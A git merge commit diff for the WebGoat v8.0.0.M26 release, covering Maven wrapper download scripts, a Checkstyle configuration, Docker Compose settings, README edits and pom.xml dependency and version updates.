Merge branch 'release/v8.0.0.M26'

This commit is contained in:
Nanne Baars 2019-11-12 09:32:50 +01:00
commit c8ac054093
482 changed files with 10993 additions and 9485 deletions

117
.mvn/wrapper/MavenWrapperDownloader.java vendored Normal file
View File

@ -0,0 +1,117 @@
/*
* Copyright 2007-present the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.net.*;
import java.io.*;
import java.nio.channels.*;
import java.util.Properties;
public class MavenWrapperDownloader {
private static final String WRAPPER_VERSION = "0.5.5";
/**
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
*/
private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
+ WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
/**
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
* use instead of the default one.
*/
private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
".mvn/wrapper/maven-wrapper.properties";
/**
* Path where the maven-wrapper.jar will be saved to.
*/
private static final String MAVEN_WRAPPER_JAR_PATH =
".mvn/wrapper/maven-wrapper.jar";
/**
* Name of the property which should be used to override the default download url for the wrapper.
*/
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
public static void main(String args[]) {
System.out.println("- Downloader started");
File baseDirectory = new File(args[0]);
System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
// If the maven-wrapper.properties exists, read it and check if it contains a custom
// wrapperUrl parameter.
File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
String url = DEFAULT_DOWNLOAD_URL;
if(mavenWrapperPropertyFile.exists()) {
FileInputStream mavenWrapperPropertyFileInputStream = null;
try {
mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
Properties mavenWrapperProperties = new Properties();
mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
} catch (IOException e) {
System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
} finally {
try {
if(mavenWrapperPropertyFileInputStream != null) {
mavenWrapperPropertyFileInputStream.close();
}
} catch (IOException e) {
// Ignore ...
}
}
}
System.out.println("- Downloading from: " + url);
File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
if(!outputFile.getParentFile().exists()) {
if(!outputFile.getParentFile().mkdirs()) {
System.out.println(
"- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
}
}
System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
try {
downloadFileFromURL(url, outputFile);
System.out.println("Done");
System.exit(0);
} catch (Throwable e) {
System.out.println("- Error downloading");
e.printStackTrace();
System.exit(1);
}
}
private static void downloadFileFromURL(String urlString, File destination) throws Exception {
if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
String username = System.getenv("MVNW_USERNAME");
char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
Authenticator.setDefault(new Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
}
URL website = new URL(urlString);
ReadableByteChannel rbc;
rbc = Channels.newChannel(website.openStream());
FileOutputStream fos = new FileOutputStream(destination);
fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
fos.close();
rbc.close();
}
}

View File

@ -1 +1,2 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.2.1/apache-maven-3.2.1-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar

View File

@ -15,6 +15,10 @@ git flow release start <version>
mvn versions:set <<version>
git commit -am "New release, updating pom.xml"
git flow release publish
<<Make changes if necessary>>
git flow release finish <version>
git push origin develop
git push origin master
git push --tags

19
LICENSE.txt Normal file
View File

@ -0,0 +1,19 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - 2019 Bruce Mayhew
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along with this program; if
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -97,27 +97,10 @@ To change IP address add the following variable to WebGoat/webgoat-container/src
server.address=x.x.x.x
```
# Vagrant
We supply a complete environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
```shell
$ cd WebGoat/webgoat-images/vagrant-training
$ vagrant up
```
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
WebGoat and WebWolf will automatically start when you login to this image.
# Building a new Docker image
NOTE: Travis will create a new Docker image automatically when making a new release.
WebGoat now has Docker support for x86 and ARM (raspberry pi).
### Docker on x86
On x86 you can build a container with the following commands:
```Shell
cd WebGoat/
mvn install
@ -128,31 +111,6 @@ docker login
docker push webgoat/webgoat-8.0
```
### Docker on ARM (Raspberry Pi)
On a Raspberry Pi (it has yet been tested with a Raspberry Pi 3 and the hypriot Docker image) you need to build JFFI for
ARM first. This is needed by the docker-maven-plugin ([see here](https://github.com/spotify/docker-maven-plugin/issues/233)):
```Shell
sudo apt-get install build-essential
git clone https://github.com/jnr/jffi.git
cd jffi
ant jar
cd build/jni
sudo cp libjffi-1.2.so /usr/lib
```
When you have done this you can build the Docker container using the following commands:
```Shell
cd WebGoat/
mvn install
cd webgoat-server
mvn docker:build -Drpi=true
docker tag webgoat/webgoat-8.0 webgoat/webgoat-8.0:8.0
docker login
docker push webgoat/webgoat-8.0
```
# Run Instructions:
Once installed connect to http://localhost:8080/WebGoat and http://localhost:9090/WebWolf

259
config/checkstyle/checkstyle.xml Executable file
View File

@ -0,0 +1,259 @@
<?xml version="1.0"?>
<!DOCTYPE module PUBLIC
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
<!--
Checkstyle configuration that checks the Google coding conventions from Google Java Style
that can be found at https://google.github.io/styleguide/javaguide.html.
Checkstyle is very configurable. Be sure to read the documentation at
http://checkstyle.sf.net (or in your downloaded distribution).
To completely disable a check, just comment it out or delete it from the file.
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
-->
<module name="Checker">
<property name="charset" value="UTF-8"/>
<property name="severity" value="error"/>
<property name="fileExtensions" value="java, properties, xml"/>
<!-- Checks for whitespace -->
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
<module name="SuppressionFilter">
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
</module>
<module name="TreeWalker">
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format" value="org\.junit\.Assert\.assert"/>
<property name="message"
value="Please use AssertJ imports."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
<property name="regexp" value="true"/>
<property name="illegalPkgs"
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
<property name="illegalClasses"
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
<property name="message"
value="Please use specialized AssertJ assertThat*Exception method."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="@SneakyThrows"/>
<property name="message"
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
<property name="ignoreComments" value="true"/>
</module>
<module name="OuterTypeFilename"/>
<module name="IllegalTokenText">
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
<property name="format"
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
<property name="message"
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
</module>
<module name="AvoidEscapedUnicodeCharacters">
<property name="allowEscapesForControlCharacters" value="true"/>
<property name="allowByTailComment" value="true"/>
<property name="allowNonPrintableEscapes" value="true"/>
</module>
<module name="OneTopLevelClass">
<property name="severity" value="warning"/>
</module>
<module name="NoLineWrap"/>
<module name="EmptyBlock">
<property name="option" value="TEXT"/>
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
</module>
<module name="WhitespaceAround">
<property name="allowEmptyConstructors" value="true"/>
<property name="allowEmptyMethods" value="true"/>
<property name="allowEmptyTypes" value="true"/>
<property name="allowEmptyLoops" value="true"/>
<message key="ws.notFollowed"
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
<message key="ws.notPreceded"
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
</module>
<module name="OneStatementPerLine"/>
<module name="MultipleVariableDeclarations"/>
<module name="ArrayTypeStyle"/>
<module name="MissingSwitchDefault"/>
<module name="FallThrough"/>
<module name="UpperEll"/>
<module name="ModifierOrder"/>
<module name="EmptyLineSeparator">
<property name="allowNoEmptyLineBetweenFields" value="true"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapDot"/>
<property name="tokens" value="DOT"/>
<property name="option" value="nl"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapComma"/>
<property name="tokens" value="COMMA"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
<property name="id" value="SeparatorWrapEllipsis"/>
<property name="tokens" value="ELLIPSIS"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
<property name="id" value="SeparatorWrapArrayDeclarator"/>
<property name="tokens" value="ARRAY_DECLARATOR"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapMethodRef"/>
<property name="tokens" value="METHOD_REF"/>
<property name="option" value="nl"/>
</module>
<module name="PackageName">
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
<message key="name.invalidPattern"
value="Package name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="TypeName">
<message key="name.invalidPattern"
value="Type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MemberName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
<message key="name.invalidPattern"
value="Member name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
<message key="name.invalidPattern"
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="CatchParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="LocalVariableName">
<property name="tokens" value="VARIABLE_DEF"/>
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ClassTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Class type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MethodTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Method type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="InterfaceTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="NoFinalizer"/>
<module name="GenericWhitespace">
<message key="ws.followed"
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
<message key="ws.preceded"
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
<message key="ws.illegalFollow"
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
<message key="ws.notPreceded"
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
</module>
<module name="AbbreviationAsWordInName">
<property name="ignoreFinal" value="false"/>
<property name="allowedAbbreviationLength" value="4"/>
<property name="severity" value="warning"/>
</module>
<module name="OverloadMethodsDeclarationOrder"/>
<module name="VariableDeclarationUsageDistance"/>
<module name="CustomImportOrder">
<property name="sortImportsInGroupAlphabetically" value="false"/>
<property name="separateLineBetweenGroups" value="true"/>
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
</module>
<module name="MethodParamPad"/>
<module name="NoWhitespaceBefore">
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
<property name="allowLineBreaks" value="true"/>
</module>
<module name="ParenPad"/>
<module name="OperatorWrap">
<property name="option" value="NL"/>
<property name="tokens"
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationMostCases"/>
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationVariables"/>
<property name="tokens" value="VARIABLE_DEF"/>
<property name="allowSamelineMultipleAnnotations" value="true"/>
</module>
<module name="NonEmptyAtclauseDescription"/>
<module name="JavadocTagContinuationIndentation"/>
<module name="SummaryJavadoc">
<property name="forbiddenSummaryFragments"
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocParagraph">
<property name="severity" value="warning"/>
</module>
<module name="AtclauseOrder">
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocMethod">
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
<property name="scope" value="public"/>
<property name="allowMissingParamTags" value="true"/>
<property name="allowMissingThrowsTags" value="true"/>
<property name="allowMissingReturnTag" value="true"/>
<property name="minLineCount" value="2"/>
<property name="allowedAnnotations" value="Override, Test"/>
<property name="allowThrowsTagsForSubclasses" value="true"/>
<property name="severity" value="warning"/>
</module>
<module name="MethodName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
<message key="name.invalidPattern"
value="Method name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="SingleLineJavadoc">
<property name="ignoreInlineTags" value="false"/>
</module>
<module name="EmptyCatchBlock">
<property name="exceptionVariableName" value="expected"/>
</module>
<module name="CommentsIndentation"/>
</module>
</module>

View File

@ -0,0 +1,11 @@
<?xml version="1.0"?>
<!DOCTYPE suppressions PUBLIC
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
<suppressions>
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>

View File

@ -7,7 +7,7 @@ services:
environment:
- WEBWOLF_HOST=webwolf
- WEBWOLF_PORT=9090
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver
@ -19,7 +19,7 @@ services:
webwolf:
image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver

32
mvnw vendored
View File

@ -114,7 +114,6 @@ if $mingw ; then
M2_HOME="`(cd "$M2_HOME"; pwd)`"
[ -n "$JAVA_HOME" ] &&
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
# TODO classpath?
fi
if [ -z "$JAVA_HOME" ]; then
@ -212,7 +211,11 @@ else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
fi
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
if [ -n "$MVNW_REPOURL" ]; then
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
else
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
fi
while IFS="=" read key value; do
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
esac
@ -221,22 +224,38 @@ else
echo "Downloading from: $jarUrl"
fi
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
if $cygwin; then
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
fi
if command -v wget > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found wget ... using wget"
fi
wget "$jarUrl" -O "$wrapperJarPath"
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
wget "$jarUrl" -O "$wrapperJarPath"
else
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
fi
elif command -v curl > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found curl ... using curl"
fi
curl -o "$wrapperJarPath" "$jarUrl"
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
curl -o "$wrapperJarPath" "$jarUrl" -f
else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"
fi
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
# For Cygwin, switch paths to Windows format before running javac
if $cygwin; then
javaClass=`cygpath --path --windows "$javaClass"`
fi
if [ -e "$javaClass" ]; then
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
@ -277,6 +296,11 @@ if $cygwin; then
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
fi
# Provide a "standardized" way to retrieve the CLI args that will
# work with both Windows and non-Windows executions.
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
export MAVEN_CMD_LINE_ARGS
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
exec "$JAVACMD" \

39
mvnw.cmd vendored
View File

@ -37,7 +37,7 @@
@echo off
@REM set title of command window
title %0
@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
@ -120,23 +120,44 @@ SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
echo Found %WRAPPER_JAR%
if "%MVNW_VERBOSE%" == "true" (
echo Found %WRAPPER_JAR%
)
) else (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
echo Finished downloading %WRAPPER_JAR%
if not "%MVNW_REPOURL%" == "" (
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
)
if "%MVNW_VERBOSE%" == "true" (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
)
powershell -Command "&{"^
"$webclient = new-object System.Net.WebClient;"^
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
"}"^
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
"}"
if "%MVNW_VERBOSE%" == "true" (
echo Finished downloading %WRAPPER_JAR%
)
)
@REM End of extension
@REM Provide a "standardized" way to retrieve the CLI args that will
@REM work with both Windows and non-Windows executions.
set MAVEN_CMD_LINE_ARGS=%*
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end

130
pom.xml
View File

@ -6,7 +6,7 @@
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging>
<version>v8.0.0.M25</version>
<version>v8.0.0.M26</version>
<name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
@ -21,7 +21,7 @@
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.18.RELEASE</version>
<version>2.2.0.RELEASE</version>
</parent>
<licenses>
@ -51,6 +51,11 @@
<name>Jason White</name>
<email>jason.white@owasp.org</email>
</developer>
<developer>
<id>zubcevic</id>
<name>René Zubcevic</name>
<email>rene.zubcevic@owasp.org</email>
</developer>
<developer>
<id>jwayman</id>
<name>Jeff Wayman</name>
@ -110,53 +115,27 @@
<!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<!-- This build number will be ubdated by Travis-CI -->
<build.number>build</build.number>
<!-- Shared properties with plugins and version numbers across submodules-->
<activation.version>1.1.1</activation.version>
<axis-ant.version>1.4</axis-ant.version>
<axis-jaxrpc.version>1.4</axis-jaxrpc.version>
<axis-saaj.version>1.4</axis-saaj.version>
<axis.version>1.4</axis.version>
<build-helper-maven-plugin.version>1.9.1</build-helper-maven-plugin.version>
<cobertura-maven-plugin.version>2.7</cobertura-maven-plugin.version>
<commons-collections.version>3.2.1</commons-collections.version>
<commons-digester.version>2.1</commons-digester.version>
<commons-discovery.version>0.5</commons-discovery.version>
<commons-fileupload.version>1.3.1</commons-fileupload.version>
<commons-io.version>2.6</commons-io.version>
<commons-lang3.version>3.4</commons-lang3.version>
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
<gatling.version>2.2.5</gatling.version>
<gatling-plugin.version>2.2.4</gatling-plugin.version>
<commons-io.version>2.6</commons-io.version>
<guava.version>18.0</guava.version>
<h2.version>1.4.190</h2.version>
<hsqldb.version>2.3.4</hsqldb.version>
<j2h.version>1.3.1</j2h.version>
<jackson-core.version>2.6.3</jackson-core.version>
<jackson-databind.version>2.6.3</jackson-databind.version>
<javaee-api.version>6.0</javaee-api.version>
<javax.transaction-api.version>1.3</javax.transaction-api.version>
<jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version>
<jtds.version>1.3.1</jtds.version>
<junit.version>4.12</junit.version>
<lombok.version>1.18.4</lombok.version>
<mail-api.version>1.5.4</mail-api.version>
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>
<maven-jar-plugin.version>2.6</maven-jar-plugin.version>
<maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version>
<maven-release-plugin.version>2.5.2</maven-release-plugin.version>
<maven-source-plugin.version>3.0.1</maven-source-plugin.version>
<maven-surefire-plugin.version>2.22.0</maven-surefire-plugin.version>
<nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version>
<scala.version>2.11.7</scala.version>
<sauce_junit.version>2.1.20</sauce_junit.version>
<selenium-java.version>2.48.2</selenium-java.version>
<spring.security.version>3.2.4.RELEASE</spring.security.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>2.22.2</maven-surefire-plugin.version>
</properties>
<modules>
@ -164,34 +143,9 @@
<module>webgoat-lessons</module>
<module>webgoat-server</module>
<module>webwolf</module>
<module>webgoat-integration-tests</module>
</modules>
<distributionManagement>
<snapshotRepository>
<id>ossrh</id>
<url>https://oss.sonatype.org/content/repositories/snapshots</url>
</snapshotRepository>
<repository>
<id>ossrh</id>
<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
</repository>
</distributionManagement>
<pluginRepositories>
<pluginRepository>
<id>apache.snapshots</id>
<url>http://repository.apache.org/snapshots/</url>
<!-- The releases element here is due to an issue in Maven 2.0 that will be
fixed in future releases. This should be able to be disabled altogether. -->
<releases>
<updatePolicy>daily</updatePolicy>
</releases>
<snapshots>
<updatePolicy>daily</updatePolicy>
</snapshots>
</pluginRepository>
</pluginRepositories>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
@ -226,37 +180,37 @@
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-release-plugin</artifactId>
<version>${maven-release-plugin.version}</version>
<artifactId>maven-checkstyle-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<autoVersionSubmodules>true</autoVersionSubmodules>
<useReleaseProfile>false</useReleaseProfile>
<releaseProfiles>release</releaseProfiles>
<tagNameFormat>@{project.version}</tagNameFormat>
<goals>deploy</goals>
</configuration>
</plugin>
<plugin>
<groupId>org.eluder.coveralls</groupId>
<artifactId>coveralls-maven-plugin</artifactId>
<version>${coveralls-maven-plugin.version}</version>
<configuration>
<repoToken/>
</configuration>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>cobertura-maven-plugin</artifactId>
<version>${cobertura-maven-plugin.version}</version>
<configuration>
<check/>
<format>xml</format>
